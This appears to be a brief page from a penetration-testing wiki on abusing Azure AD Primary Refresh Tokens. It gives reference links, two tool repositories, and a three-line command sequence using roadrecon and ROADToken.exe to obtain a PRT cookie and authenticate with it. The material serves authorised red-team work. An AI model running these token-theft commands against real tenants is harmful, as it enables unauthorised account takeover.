> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/azure-ad/prt-abuse.md).

# PRT Abuse

* <https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/>
* <https://aadinternals.com/post/prt/>
* <https://posts.specterops.io/an-operators-guide-to-device-joined-hosts-and-the-prt-cookie-bcd0db2812c4>

```
$ roadrecon auth --prt-init
Cmd > ROADToken.exe <NONCE>
$ [proxychains] roadrecon auth [-d megacorp.db] --prt-cookie <COOKIE> [-ua '<USER_AGENT>']
```

## Tools

* <https://github.com/dirkjanm/ROADtoken>
* <https://github.com/leechristensen/RequestAADRefreshToken/>